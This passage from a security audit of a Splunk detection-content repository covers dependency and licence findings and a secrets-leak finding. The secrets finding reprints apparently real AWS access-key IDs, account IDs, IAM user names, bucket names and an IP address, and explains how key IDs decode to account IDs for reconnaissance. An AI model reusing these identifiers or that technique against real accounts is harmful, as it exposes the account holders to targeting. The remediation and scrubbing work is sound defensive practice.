CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1395 Dependency on Vulnerable Third-Party Component. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1190 Exploit Public-Facing Application, T1203 Exploitation for Client Execution, T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** SA-22 Unsupported System Components, SI-2 Flaw Remediation, CM-8 System Component Inventory. **NIST CSF 2.0:** ID.AM Identify - Asset Management, PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.8 Management of technical vulnerabilities, A.8.19 Installation of software on operational systems, A.5.21 Managing information security in the ICT supply chain. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-06 — Licence compliance gaps: GPL-3.0-derived datasets redistributed under Apache-2.0 without notices; no NOTICE file; build tool licence unknown

Severity: Medium (no CVSS score (informational)). Exploitability: Legal / compliance exposure.

Location. LICENSE; lookups/csv/lolbas_file_path.*, hijacklibs*.*, loldrivers.*, remote_access_software.csv, dynamic_dns_providers_default.csv; requirements.txt

- **Title**: License compliance gaps - copyleft (GPL-3.0) third-party datasets redistributed in an Apache-2.0 app without notices; Apache-2.0 and MITRE data without required attribution; no NOTICE file; build tool with unknown license

```
lookups/csv/lolbas_file_path.yml
     8description: A list of LOLBAS and their file path used in determining if a script or
binary is valid on windows systems.
lookups/csv/sslbl_ssl_certificate_blacklist.yml
     8description: abuse.ch SSLBL SSL Certificate Blacklist (SHA1 Fingerprints)
```

Description: The project is Apache-2.0 and the built `DA-ESS-ContentUpdate` app redistributes several lookups whose content is, by name and column structure, derived from external projects. Upstream licenses verified from `raw.githubusercontent.com` on 2026-10-06:

- **LOLBAS-Project/LOLBAS - GPL-3.0** (`lolbas_file_path.csv`: file names/paths/descriptions match the LOLBAS YAML `Full_Path` data; derivation is probable but not confirmed row-by-row).
- **wietze/HijackLibs - GPL-3.0** (`hijacklibs.csv`, `hijacklibs_loaded.csv`: the `ttp` + `comment` (hexacorn reference) columns mirror HijackLibs YAML fields).
- **magicsword-io/LOLDrivers - Apache-2.0** (`loldrivers.csv`) - compatible, but Apache-2.0 S4(c)/(d) still requires retaining attribution/NOTICE.
- **magicsword-io/LOLRMM - Apache-2.0** (`remote_access_software.csv` carries `comment_reference` vendor URLs consistent with LOLRMM; unverified).
- **abuse.ch SSLBL - CC0** (verified on abuse.ch ToS) - no obligation, attribution present in description (good).

- **MITRE ATT&CK** (`mitre/cti`, `attack-stix-data`) - permissive MITRE license that *requires* the notice "The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license ... ATT&CK is a registered trademark" to accompany redistribution; contentctl-ng pulls ATT&CK STIX at build time (`enrichments`) and ESCU tags every detection with technique IDs/names.
- **SigmaHQ rules - Detection Rule License (DRL) 1.1** `[TK]` requires attribution; 11 detections link the originating Sigma rule in `references`, which is a reasonable attribution, but there is no license statement.
- **`dynamic_dns_providers_default.csv`** (91,976 wildcard domains) has **no stated provenance** - unknown license.
- 10 SOAR custom functions and 16 sub-playbooks come from the Splunk SOAR `community` repo (Splunk-owned, Apache-2.0 `[TK]`) - compatible, but no per-file header.

GPL-3.0 datasets: whether a CSV of facts is copyrightable at all is jurisdiction-dependent (US: facts are not, but selection/arrangement and descriptions can be). If the LOLBAS/HijackLibs descriptions are copied verbatim, redistributing them inside an Apache-2.0/commercially-distributed Splunk app without the GPL text and source offer is a GPL-3.0 S4-S6 violation and an Apache-2.0 incompatibility (GPL-3.0 is one-way compatible: Apache code can go into GPL projects, not the reverse). There is also **no `NOTICE` file anywhere** (`find . -iname 'NOTICE*'` -> none), no per-file license headers in any Python file (0 of 94), and the core build tool `contentctl-ng` publishes **no license metadata** (pip-licenses: `UNKNOWN`) while its source repo is not publicly readable - Splunk can resolve this internally, but downstream consumers of the PyPI package cannot determine their rights. Python dependency tree copyleft scan: `pygit2 1.20.1` = "GPLv2 with linking exception" (LGPL-like; permitted for a tool, not redistributed in the app); `yamllint 1.38.0` = GPL-3.0-or-later (CI tool only, not distributed) - **no copyleft component is shipped to customers**; everything else is MIT/BSD/Apache/PSF/MPL-2.0 (certifi, tqdm - file-level copyleft, unmodified use is fine). **Untrusted-input reachability**: N/A (legal). Verdict: **Not a technical exploit**; compliance exposure for Splunk as distributor. **Proof of concept**: `curl https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/LICENSE | head -3` -> "GNU GENERAL PUBLIC LICENSE Version 3"; same for `wietze/HijackLibs/main/LICENSE`; `.../magicsword-io/LOLDrivers/main/LICENSE` -> Apache-2.0; `pip-licenses` row `contentctl-ng 1.1.1 UNKNOWN UNKNOWN`; `grep -rlE 'Copyright|Licensed under|SPDX-License' --include='*.py' .github scripts .pre-commit-hooks playbooks | wc -l` -> `0`. **Remediation** (process + files; no code change in detections):

```
# NOTICE  (new file at repo root; contentctl-ng should copy it into the app package)
ES Content Update (ESCU)
Copyright 2026 Splunk Inc.
Licensed under the Apache License, Version 2.0.

This product includes data derived from third-party projects:
- MITRE ATT&CK(R) - (c) The MITRE Corporation. "This work is reproduced and distributed
with the permission of The MITRE Corporation." https://attack.mitre.org/resources/legal-
and-branding/terms-of-use/
- abuse.ch SSL Certificate Blacklist (SSLBL) - CC0 1.0 - https://sslbl.abuse.ch/
- LOLDrivers (magicsword-io/LOLDrivers) - Apache-2.0 -
https://github.com/magicsword-io/LOLDrivers
- LOLRMM (magicsword-io/LOLRMM) - Apache-2.0 - https://github.com/magicsword-io/LOLRMM
- Sigma rules (SigmaHQ/sigma) - Detection Rule License 1.1 - individual rules are credited
in each detection's `references`
- Splunk SOAR Community playbooks/custom functions (phantom-community) - Apache-2.0
```

For the two GPL-3.0 sources, choose one: (a) obtain written permission/dual-license from the LOLBAS and HijackLibs maintainers for the specific CSV extracts; (b) re-derive the lookups from first principles (file names/paths are facts) and drop any copied `description`/`comment` prose; or (c) ship them under GPL-3.0 as a clearly separated, optional lookup pack with full license text. Record provenance in the lookup YAML so the build can emit the NOTICE automatically:

```
# lookups/csv/lolbas_file_path.yml (add fields; requires a small CSVLookup schema
extension)
name: lolbas_file_path
description: A list of LOLBAS and their file path used in determining if a script or
binary is valid on windows systems.
source: https://github.com/LOLBAS-Project/LOLBAS
source_license: GPL-3.0-only
source_commit: <sha of the LOLBAS commit the extract was generated from>
```

For contentctl-ng: add `license = "Apache-2.0"` and `license-files = ["LICENSE"]` to its `pyproject.toml` and republish (1.1.2). Why it works: NOTICE + per-lookup provenance satisfies Apache-2.0 S4(d), the MITRE terms and DRL attribution; separating or re-deriving GPL material removes the incompatibility; a declared license on the build tool lets `pip-licenses`/SBOM tooling (CycloneDX) pass policy checks.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-829 Inclusion of Functionality from Untrusted Control Sphere. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **NIST SP 800-53r5:** CM-8 System Component Inventory, SA-22 Unsupported System Components, SR-3 Supply Chain Controls and Processes, SR-4 Provenance. **NIST CSF 2.0:** GV.SC Govern - Cybersecurity Supply Chain Risk Management, ID.AM Identify - Asset Management. **ISO/IEC 27001:2022:** A.5.21 Managing information security in the ICT supply chain, A.5.32, A.8.19 Installation of software on operational systems. **SANS Secure Coding Practice:** Dependencies / General Coding Practices.

DEP-10 — Unpinned yamlfmt@latest, floating Go toolchain and sibling-directory executable probe in the pre-commit hook

Severity: Low (CVSS v3.1 base 3.8). Exploitability: Conditionally exploitable.

Location. .github/workflows/yaml-validation.yml:49-55; .pre-commit-hooks/yamlfmt-hook.py:33-49,106-111

- **Title**: Unpinned external Go binary (`yamlfmt@latest`) and floating Go toolchain used by CI and by the pre-commit hook; hook also searches a sibling directory for `yamlfmt.exe`

```
49      - name: Set up Go
50        uses: actions/setup-go@v7
52      - name: Install yamlfmt
53        run: |
54          go install github.com/google/yamlfmt/cmd/yamlfmt@latest
42    possible_paths = [
43        Path.home() / 'go' / 'bin' / 'yamlfmt',
47        # Check in repo yamlfmt-main folder (for development)
48        Path(__file__).parent.parent.parent / 'yamlfmt-main' / 'yamlfmt.exe',
49    ]
```

Description: `go install ...@latest` resolves to whatever `google/yamlfmt` has most recently tagged (v0.21.0 today, verified via proxy.golang.org); the Go module proxy + sumdb do verify that the *chosen* version's bytes are authentic, so this is less dangerous than unpinned pip, but a malicious new upstream tag would still be executed automatically. `actions/setup-go@v7` is used without `go-version`, so the compiler itself floats (Go 1.27.1). On developer machines the pre-commit hook will

happily execute any `yamlfmt`/`yamlfmt.exe` found on `PATH`, in `~/go/bin`, `/usr/local/bin`, or in a `yamlfmt-main/` directory **one level above the repository checkout** (`:48`) - a path an attacker with write access to the developer's home directory could plant (low value: such an attacker already has code execution). Semgrep flags the subprocess call at `:111` (`dangerous-subprocess-use-tainted-env-args`); arguments are repo file paths and the hook does not use `shell=True`, so there is no injection. **Untrusted-input reachability**: Source = upstream Go module tag / local filesystem -> `subprocess.run([yamlfmt, '-conf', ..., file])`. Verdict: **Conditionally exploitable** (upstream compromise) / local path is defense-in-depth only. **Proof of concept**: `curl https://proxy.golang.org/github.com/google/yamlfmt/@latest` -> `{"Version":"v0.21.0","Time":"2026-01-05T18:33:02Z",...}`; nothing in the repo records this version. **Remediation**:

```
# .github/workflows/yaml-validation.yml
      - name: Set up Go
        uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e   # v7.0.0
        with:
          go-version: '1.25.14'
          cache: false
      - name: Install yamlfmt (pinned)
        run: |
          go install github.com/google/yamlfmt/cmd/yamlfmt@v0.21.0
          echo "$HOME/go/bin" >> "$GITHUB_PATH"
# .pre-commit-config.yaml - use the upstream pre-commit hook instead of a PATH probe
  - repo: https://github.com/google/yamlfmt
    rev: v0.21.0
    hooks:
      - id: yamlfmt
        files: ^detections/.*\.(yml|yaml)$
        args: [-conf, .yamlfmt]
```

and delete the `yamlfmt-main/yamlfmt.exe` probe (`yamlfmt-hook.py:47-48`). Why it works: an explicit module version is verified against the Go checksum database, the pre-commit `rev` pins the hook source, and Dependabot's `pre-commit` ecosystem (already configured) will bump it. No regression: identical formatter, same config.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-494 Download of Code Without Integrity Check; CWE-427. **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools, T1574.007 Hijack Execution Flow: Path Interception by PATH Environment Variable. **NIST SP 800-53r5:** SR-4 Provenance, CM-7 Least Functionality, SA-22 Unsupported System Components. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.19 Installation of software on operational systems, A.5.21 Managing information security in the ICT supply chain. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-08 — Splunk TA pins drift from Splunkbase and from each other (10 apps a major version behind)

Severity: Low (CVSS v3.1 base 3.7). Exploitability: Test-fidelity.

Location. contentctl.yml:31-264 vs install.yml:1-42

- **Title**: Splunk TA/app pins drift from Splunkbase and from each other (10 apps a major version behind; `contentctl.yml` and `install.yml` disagree on 5 shared apps)

Description: The `datasource-dependabot.yml` job keeps `install.yml` and `data_sources/*.yml` current, but `contentctl.yml` (the list actually installed into the local/CI test container via S3) is updated by hand and has fallen behind on 20 of 38 apps - 10 by a full major version. Detections are therefore unit-tested against CIM 8.5 / Windows TA 10.0.1 field extractions while `install.yml` declares CIM 8.7 / ES 8.7 as the integration target. Besides test-fidelity risk, old TAs can carry their own vulnerable bundled libraries (TAs vendor `requests`, `urllib3`, `cryptography`, etc.); those run only in the disposable test container, so the security impact is low. ES itself (`install.yml:6` 8.7.0) is one patch behind 8.7.1. **Untrusted-input reachability**: N/A. Verdict: **Not exploitable** (quality/lifecycle). **Proof of concept**: Splunkbase API, 2026-10-06, e.g. `curl -L 'https://splunkbase.splunk.com/api/v1/app/742/release/?limit=1&order=latest'` -> `11.0.3`; full comparison table in Section (i)-d. **Remediation**: generate `contentctl.yml` `apps:` from `install.yml`/`data_sources` in the same scheduled job so there is a single source of truth, and record hashes (DEP-03). Minimal patch today (bump the five disagreeing entries to the `install.yml` values):

```
- uid: 1621
  title: Splunk_SA_CIM
  appid: Splunk_SA_CIM
  version: 8.7.0
  hardcoded_path: https://attack-range-appbinaries.s3.us-west-2.amazonaws.com/splunk-
common-information-model-cim_870.tgz
- uid: 3185
  title: Splunk Add-on for Microsoft IIS
  appid: SPLUNK_TA_FOR_IIS
  version: 2.0.0
  hardcoded_path: https://attack-range-appbinaries.s3.us-west-2.amazonaws.com/splunk-add-
on-for-microsoft-iis_200.tgz
```

(`ta_update.py` already mirrors the latest Splunkbase release of each `supported_TA` into the bucket using exactly this `<title>_<version-without-dots>.tgz` naming, so the objects should already exist.) Extend `datasource-dependabot.yml` to run `contentctl-ng update-data-source-tas` *and* rewrite `contentctl.yml`, or add a CI check that fails when `contentctl.yml` and `install.yml` disagree on a shared `uid`.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1395 Dependency on Vulnerable Third-Party Component. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** CM-8 System Component Inventory, SI-2 Flaw Remediation, SA-22 Unsupported System Components. **NIST CSF 2.0:** ID.AM Identify - Asset Management, PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.8 Management of technical vulnerabilities, A.8.19 Installation of software on operational systems. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-09 — SOAR playbooks declare no app versions and depend on unversioned community functions and platform-bundled libraries

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Maintainability.

Location. playbooks/*.json (131 blocks app_version empty); playbooks/risk_notable_import_data.py:405-406

- **Title**: SOAR playbooks declare no app versions, depend on unversioned `community` custom functions/sub-playbooks and on platform-bundled Python libraries (`django`, `dateutil`)

```
405    from dateutil.parser import parse
406    from django.utils.dateparse import parse_datetime
```

Description: SOAR exports can carry `app_version` so the importing instance can warn when the installed connector differs; here every block is blank, so the 21 connectors (CrowdStrike OAuth API in 42 blocks, SSH 14, WinRM 12, ...) are matched by name only and any breaking change in a connector's action schema will surface only at runtime. Nine input playbooks hinge on `community/dispatch_input_playbooks` and 27 blocks on `community/workbook_task_update`; the community repo is a moving target with no version pin recorded in the export. `risk_notable_import_data.py` imports Django (part of the SOAR platform, not a declared dependency) for date parsing - this couples the playbook to SOAR's internal web framework version `[TK: SOAR 6.x bundles Django 4.x; older 5.x bundled 2.x/3.x]`. None of this is exploitable by itself; it is a maintainability/compatibility finding for shipped automation content. **Untrusted-input reachability**: N/A for SCA (SOAR-input handling is covered by the playbook reviewer). Verdict: **Not exploitable**. **Proof of concept**: `python3 -I` aggregation (Section (i)-e): `app_version` values per connector all `{'': n}`; `grep -c '"repoName": "community"' playbooks/*.json | awk -F: '{s+=$2} END{print s}'` -> 98 occurrences. **Remediation**: re-export from a current SOAR (6.4.x) with apps installed so `app_version` is populated, and replace the Django import with stdlib:

```
# playbooks/risk_notable_import_data.py (lines 405-406 replacement)
    from datetime import datetime
    def parse_datetime(value: str) -> datetime:
        # ISO-8601 with optional 'Z'; raises ValueError on garbage (same contract as
django.utils.dateparse but strict)
        return datetime.fromisoformat(value.replace("Z", "+00:00"))
```

Add a `playbooks/REQUIREMENTS.md` (or a `dependencies:` block in each `playbooks/*.yml`) listing connector minimum versions and the `community` repo commit the custom functions were vendored from; vendor `dispatch_input_playbooks` into this repo (it is Splunk-owned) so the dependency is versioned with ESCU.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1357 Reliance on Insufficiently Trustworthy Component. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1195.002 Supply Chain Compromise: Compromise Software Supply Chain. **NIST SP 800-53r5:** CM-8 System Component Inventory, SA-22 Unsupported System Components, SR-3 Supply Chain Controls and Processes. **NIST CSF 2.0:** ID.AM Identify - Asset Management, GV.SC Govern - Cybersecurity Supply Chain Risk Management. **ISO/IEC 27001:2022:** A.8.8 Management of technical vulnerabilities, A.5.21 Managing information security in the ICT supply chain. **SANS Secure Coding Practice:** Dependencies / General Coding Practices.

DEP-12 — Dependency-update automation does not cover pip or docker ecosystems; no SBOM produced with releases

Severity: Low (CVSS v3.1 base 3.1). Exploitability: Process gap.

Location. .github/dependabot.yml:1-10

- **Title**: Dependency-update automation does not cover the Python or container ecosystems; no SBOM is produced with releases

```
3- package-ecosystem: "github-actions"
7- package-ecosystem: "pre-commit"
```

Description: Dependabot watches GitHub Actions and pre-commit (good), but not `pip` (`requirements.txt`) nor `docker` (`splunk/splunk` image). The custom `datasource-`

`dependabot.yml` job covers Splunkbase TAs. Consequently the component class with the largest attack surface (65 Python packages run in the build) has no automated advisory or version tracking, and consumers of `DA-ESS-ContentUpdate.tar.gz` receive no SBOM describing its embedded third-party data (DEP-06) or build toolchain (SSDF PS.3.2). **Untrusted-input reachability**: N/A. Verdict: **Not exploitable** (process gap). **Proof of concept**: `cat -n .github/dependabot.yml` (10 lines, two ecosystems); `grep -rniE 'sbom|cyclonedx|syft|spdx' .github/workflows` -> no matches. **Remediation**: extend `dependabot.yml` as shown in DEP-01 and add an SBOM + audit step to `build.yml`:

```
      - name: Generate SBOM and audit
        run: |
          python -m pip install --require-hashes -r .github/workflows/requirements-
tools.txt   # pip-audit, cyclonedx-bom pinned
          pip-audit --strict --require-hashes -r requirements.txt
          cyclonedx-py requirements requirements.txt --of JSON -o dist/sbom-build-
toolchain.cdx.json
      - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a   # v7.0.1
        with:
          name: content-latest
          path: |
            dist/*.tar.gz
            dist/sbom-*.cdx.json
```

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1395 Dependency on Vulnerable Third-Party Component. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **NIST SP 800-53r5:** CM-8 System Component Inventory, RA-5 Vulnerability Monitoring and Scanning, SR-4 Provenance, SI-2 Flaw Remediation. **NIST CSF 2.0:** ID.AM Identify - Asset Management, GV.SC Govern - Cybersecurity Supply Chain Risk Management. **ISO/IEC 27001:2022:** A.8.8 Management of technical vulnerabilities, A.5.21 Managing information security in the ICT supply chain. **SANS Secure Coding Practice:** Dependencies / System Configuration.

DEP-07 — contentctl-ng has no licence metadata, placeholder description and a non-public source repository

Severity: Low (no CVSS score (informational)). Exploitability: Provenance gap.

Location. requirements.txt:1 (contentctl-ng 1.1.1 METADATA)

- **Title**: Core build dependency `contentctl-ng` has incomplete, unverifiable package metadata (no license, placeholder description, non-public source repository, pre-release cadence)

```
  1Metadata-Version: 2.3
  2Name: contentctl-ng
  3Version: 1.1.1
  4Summary: Add your description here
 23Requires-Python: >=3.14
```

Description: The package was first published 2026-05-07 and has had 13 releases in four months (0.1.0 -> 1.1.1, 2026-08-18). The README points to `github.com/splunk/contentctl-ng`, which returns 404 / requires authentication, so no one outside Splunk can audit the code, confirm the license, or match the wheel to a tagged commit (no PEP 740 attestations / Trusted Publishing provenance were visible in the PyPI JSON). The previous tool `splunk/contentctl` is public and Apache-2.0 (verified). For an open-source repository that invites community PRs (`CONTRIBUTING.md`), this means contributors run an opaque binary dependency with network access (Splunkbase auth, S3, Docker socket via `python-on-whales`) on their workstations. Also notable: `Requires-Python >=3.14` forces the newest CPython (3.14.0 released 2025-10-07), which excludes the system Pythons of all current Debian/Ubuntu/RHEL LTS releases and pushes

developers toward ad-hoc interpreter installs (I had to use `uv python install 3.14`). **Untrusted-input reachability**: N/A. Verdict: **Not exploitable** (provenance/transparency gap). **Proof of concept**: `curl -s https://pypi.org/pypi/contentctl-ng/1.1.1/json | jq '.info.license, .info.license_expression, .info.classifiers'` -> `null, null, []`; `curl -o /dev/null -w '%{http_code}' https://raw.githubusercontent.com/splunk/contentctl-ng/main/pyproject.toml` -> `404`; `git ls-remote https://github.com/splunk/contentctl-ng.git` -> "could not read Username". **Remediation**: in contentctl-ng's `pyproject.toml`:

```
[project]
name = "contentctl-ng"
version = "1.1.2"
description = "Splunk Threat Research Team content build, validation and test tool for
ESCU"
readme = "README.md"
license = "Apache-2.0"
license-files = ["LICENSE"]
requires-python = ">=3.13"          # if feasible; otherwise document the 3.14 requirement
in security_content/README
classifiers = ["License :: OSI Approved :: Apache Software License", "Programming Language
:: Python :: 3.14"]
[project.urls]
Source = "https://github.com/splunk/contentctl-ng"
```

Publish via PyPI Trusted Publishing with PEP 740 attestations and make the repository public (or publish a `SECURITY.md`/`SBOM` with each release). In this repo, pin by hash (DEP-01) so at least the bytes are fixed.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components; CWE-1357 Reliance on Insufficiently Trustworthy Component. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components, A08:2021 Software and Data Integrity Failures. **MITRE ATT&CK:** T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools. **NIST SP 800-53r5:** SR-3 Supply Chain Controls and Processes, SR-4 Provenance, SA-9, CM-8 System Component Inventory. **NIST CSF 2.0:** GV.SC Govern - Cybersecurity Supply Chain Risk Management. **ISO/IEC 27001:2022:** A.5.21 Managing information security in the ICT supply chain, A.5.22, A.5.32. **SANS Secure Coding Practice:** Dependencies / System Configuration.

4.7 Secrets and Sensitive Data

This area produced 6 unique findings: 4 Low, 2 Informational.

SEC-03 — Incomplete sanitisation of CloudTrail example logs leaks real AWS account IDs, access-key IDs, principals, roles and buckets

Severity: Low (CVSS v3.1 base 3.7). Exploitability: Not directly exploitable (reconnaissance enabler; PoC decoded account IDs).

Location. data_sources/aws_cloudtrail_*.yml (47 files, e.g. createaccesskey.yml:107, deletepolicy.yml:105, createvirtualmfadevice.yml:105, putbucketreplication.yml:128)

- **Severity:** Low – CVSS v3.1 `AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N` = **3.7**
- **Location:** 47 `data_sources/aws_cloudtrail_*.yml` files, one `example_log:` line each (full list with line numbers in Tables T1/T4). Representative:

```
data_sources/aws_cloudtrail_createaccesskey.yml:107  …"arn":
"arn:aws:iam::121521347698:user/bhavin_cli", "accountId": "121521347698", "accessKeyId":
"AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"… "responseElements": {"accessKey":
{"userName": "AtomicRedTeam", "accessKeyId": "AKIAYTOGP2RLOQ4ULYGT", "status": "Active"…
data_sources/aws_cloudtrail_deletepolicy.yml:105     …"arn":
"arn:aws:iam::151521547504:user/bhavin_cli"… "sourceIPAddress": "61.25.42.212"…
data_sources/aws_cloudtrail_createvirtualmfadevice.yml:105 …"type": "Root", "accountId":
"111111111111111", "accessKeyId": "ASIASBMSCQHH2YXNXJBU"… "recipientAccountId":
"140429656527"
data_sources/aws_cloudtrail_putbucketreplication.yml:128 …"userName":
"AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"… "bucketName": "git-wild-hunt-
results"…
```

- **Description:** The team rewrote `accountId`/ARNs to `111111111111` in most samples but left the `accessKeyId` values intact. AWS access-key IDs embed the owning account ID (base32-decode chars 5–20, mask `0x7fffffffff80`, shift right 7). Decoding every committed ID yields two accounts: **`591511147606`** (24 of 27 distinct IDs, prefix `YTOGP2RL`; also present in clear inside the base64 `sessionToken` of SEC-04) and **`140429656527`** (prefix `SBMSCQHH`; also left raw as `recipientAccountId` in `createvirtualmfadevice.yml:105`). Three more raw account IDs survive (`151521547504`, `121522247101`, `121521347698` – all tied to IAM user `bhavin_cli`, which indicates per-file inconsistent hand edits rather than genuinely different accounts) plus `387769110234` (`aws_bedrock_claude.yml:59`). Ten of the IDs are long-lived **`AKIA`** keys (e.g. `AKIAYTOGP2RLLAA6NJUM` used across 6 files, `AKIAYTOGP2RLOQ4ULYGT` *created* for user `AtomicRedTeam`). An access-key ID is not a secret on its own, but AWS treats it as sensitive: it tells an attacker which account to target, lets them enumerate IAM principals/roles without credentials (S3 bucket-policy condition probing, `sts:AssumeRole` error oracles, role-name brute force against the leaked SSO permission-set naming `AWSReservedSSO_SPLKAdministratorAccess_*`), and validates any secret-key half obtained elsewhere (`sts:GetCallerIdentity` credential stuffing). The sample set also discloses internal bucket names (`git-wild-hunt-results`, `security-content`, `patricktestbucket19`, `patricktestbucketencrypt`, `my-cloudtrail-bucket-alfsujjpnbpguqrh`), trail names (`redatomictesttrail`), IAM user names (`bhavin_cli`, `gowthamaraj_cli`, `patrick_cli`, `bhavin_console`, `daftpunk`, `rhino_escalate`, `AtomicRedTeam`, `strt_fonder`), principal IDs (`AIDAYTOGP2RLEHRX5YWNV`, `AROAIJIESMXKGCJRCTPR6`, …) and the residential egress IPs from which STRT members administered the account (SEC-05).
- **Untrusted-input reachability:** Pure disclosure; reader of the public repo → AWS reconnaissance. No secret-access-key is present anywhere in the tree or reachable history (`grep -rniE 'aws_secret|secretAccessKey'` → only the AWS doc example `wJal…EXAMPLEKEY`). **Verdict: Not directly exploitable; reconnaissance enabler (defence-in-depth).**
- **Proof of concept (executed locally, pure arithmetic, no AWS contact):**

```
$ python3 -I decode_keys.py      # body: base32-decode key[4:], take 6 bytes, &
0x7fffffffff80, >> 7
AKIAYTOGP2RLLAA6NJUM 591511147606
ASIAYTOGP2RLKJXOV7VR 591511147606
ASIASBMSCQHH2YXNXJBU 140429656527      # == recipientAccountId left raw in
createvirtualmfadevice.yml:105 (self-confirming)
AKIAIOSFODNN7EXAMPLE 581039954779      # AWS doc example, for comparison
$ python3 -I -c "import
base64,re;l=open('data_sources/aws_cloudtrail_assumerolewithsaml.yml').read().splitlines()
[119];t=re.search(r'\"sessionToken\": \"([^\"]+)',l).group(1);print(re.findall(rb'[0-9]
{12}',base64.b64decode(t+'='*(-len(t)%4))))"
[b'591511147606']
```

- **Remediation:** (1) In AWS, confirm via `aws iam list-access-keys` / the IAM credential report that the ten `AKIA` IDs are deleted; delete/rotate any that still exist (ASIA IDs expired with their sessions). (2) Replace every key ID with a *synthetically consistent* one that encodes the

canonical dummy account so the samples still parse and still exercise the detections. Script to run once and to enforce in CI (also fixes raw account IDs, principal IDs, SSO role names, bucket names, source IPs and the STS token):

```
#!/usr/bin/env python3
"""scripts/scrub_cloudtrail_samples.py - rewrite real AWS identifiers in
data_sources/aws_*.yml example_log lines."""
import base64, binascii, pathlib, re, sys
DUMMY_ACCT = 111111111111
MASK = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), 'big')

def key_id(prefix: str, acct: int, tail: str) -> str:
    field = ((acct << 7) & MASK).to_bytes(6, 'big')[:5]          # 40-bit account field ->
8 base32 chars
    return prefix + base64.b32encode(field).decode()[:8] + tail.upper().ljust(8, 'A')[:8]

RULES = [
    (re.compile(r'\b(AKIA|ASIA)([0-9A-Z]{16})\b'),          lambda m: key_id(m.group(1),
DUMMY_ACCT, m.group(2)[8:])),
    (re.compile(r'\b(AIDA|AROA)([0-9A-Z]{17})\b'),          lambda m: m.group(1) +
'EXAMPLE' + m.group(2)[7:]),
    (re.compile(r'(?<![0-9])(?!111111111111)\d{12}(?=["\':/])'), lambda m:
str(DUMMY_ACCT)),
    (re.compile(r'AWSReservedSSO_[A-Za-z]+_[0-9a-f]{16}'),  lambda m:
'AWSReservedSSO_AdministratorAccess_0000000000000000'),
    (re.compile(r'"sourceIPAddress": "(?!test\.amazonaws)\d+\.\d+\.\d+\.\d+"'), lambda m:
'"sourceIPAddress": "192.0.2.10"'),
    (re.compile(r'"sessionToken": "[A-Za-z0-9+/=]{40,}"'),  lambda m: '"sessionToken":
"EXAMPLE_SESSION_TOKEN"'),
]

def main() -> int:
    check = '--check' in sys.argv
    dirty = 0
    for p in pathlib.Path('data_sources').glob('aws_*.yml'):
        original = p.read_text()
        text = original
        for rx, fn in RULES:
            text = rx.sub(fn, text)
        if text != original:
            dirty += 1
            if check:
                print(f'{p}: real AWS identifiers present')
            else:
                p.write_text(text)
    return 1 if (check and dirty) else 0

if __name__ == '__main__':
    sys.exit(main())
```

Run `--check` in `yaml-validation.yml`; add a `gitleaks` step (SEC-08) with an allow-list for the dummy prefix only. Why it does not regress: detections match `eventName`, `userIdentity.type`, `errorCode` etc., not literal key IDs; synthetic IDs keep the `AKIA/ASIA + 16` shape so regex-based tests (e.g. `aws_bedrock_claude_sensitive_data_in_prompts`) still fire.

- **Mappings:** CWE-200, CWE-540 (Inclusion of Sensitive Information in Source Code), CWE-312; OWASP Top 10 2021 A02, A05; OWASP ASVS v4 8.3.4, 14.3.3; MITRE ATT&CK T1552.001, T1580 (Cloud Infrastructure Discovery), T1087.004, T1078.004; NIST SP 800-53r5 SC-28, SA-11, AC-6, RA-5; NIST CSF 2.0 PR.DS-01, ID.RA-01; ISO/IEC 27001:2022 A.8.24, A.8.12, A.5.17; SANS/CERT: Data Protection ("remove sensitive information from source and configuration before release"); gitleaks `aws-access-token`, semgrep `generic.secrets.security.detected-aws-access-key-id-value`, detect-secrets `AWSKeyDetector`.

Standards mapping.

